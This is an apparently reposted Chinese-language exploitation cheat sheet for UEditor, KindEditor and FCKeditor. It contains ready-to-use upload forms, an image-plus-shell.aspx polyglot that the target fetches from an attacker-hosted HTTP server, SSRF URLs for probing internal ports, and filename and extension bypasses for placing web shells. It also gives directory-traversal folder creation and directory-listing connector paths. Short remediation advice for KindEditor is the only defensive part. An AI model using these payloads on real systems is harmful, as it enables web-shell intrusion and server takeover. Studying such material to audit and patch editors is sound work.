一、UEditor
UEditor是由百度web前端研发部开发所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点。
.net版本文件上传漏洞
UEditor V1.4.3.3
验证漏洞
访问:/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
显示如下图所示,说明存在漏洞
<form action="http://IP:port/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit"/>
</form>
copy normal.jpg/b+shell.aspx/a shell.jpg
python -m SimpleHTTPServer 8888
在shelladdr中输入地址(两种方式)
http://XXXX:8888/shell.jpg?.aspx
http://XXXX:8888/shell.jpg#.aspx
2、上传成功
3、小马地址:
http://ip:port/ueditor/net/upload/image/20201127/6374211044232448561123135.asp
SSRF
影响范围:
UEditor V1.4.3
/jsp/controller.jsp?action=catchimage&source[]=
/jsp/getRemoteImage.jsp?upfile=
/php/controller.php?action=catchimage&source[]=
http://1.1.1.1:8080/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png。
/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg
/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
通过修改 source 参数,能够探查内网相关端口。有道翻译网站出过 SSRF 问题,导致内网内容可被直接访问。
提交后的返回信息很容易判断,只要 state 出现 Unicode 编码,那必然是失败了(用中文提示如何如何失败)。
漏洞描述
kindeditor<=4.1.1
漏洞利用
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
上传成功后返回地址,访问即可
1. 删除;即在不影响业务的情况下删除Kindeditor对应文件夹下删除upload_json和file_manager_json.
2. 修改;如果该功能还需使用,可修改file_manager_json和upload_json中允许文件上传类型,去掉可执行文件、html、htm等文件类型,同时也要修改file_manager_json和upload_json两个文件名称,这样攻击者找不到对应的漏洞上传路径,就无法成功上传具有危害的文件了,最好修补方案还是删除upload_json和file_manager_json
3. 升级kindeditor到最新版本,其它方法有增加白/黑名单控制上传文件类型
FCKeditor/_whatsnew.html
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"
method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
(1)提交shell.php+空格绕过,不过空格只支持win 系统 *nix 是不支持的,[shell.php 和shell.php+空格是2个不同的文件未测试。
(2)继续上传同名文件可变为shell.php;(1).jpg ,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
4、突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
5、FCKeditor中test文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.aspCommand=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录,可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
Version 2.4.1 测试通过修改CurrentFolder参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..
/&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
FCKeditor x.x <= FCKeditor v2.4.3
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
asa、cer、php2、php4、inc、pwml、pht
文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension为后缀.直接导致在win下在上传文件后面加个.来突破[未测试]!,而在apache下,因为Apache 文件名解析缺陷漏洞也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx的类型没有检查。我们可以直接构造上传把type=Image改成Type=hsren这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
跟版本有关系,并不是百分百成功, 测试成功几个站,不能通杀,很遗憾。
http://www..com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
FCKeditor/_samples/
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
fckeditor<=2.4.3
原文始发于微信公众号(极星信安):富文本编辑器漏洞整理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论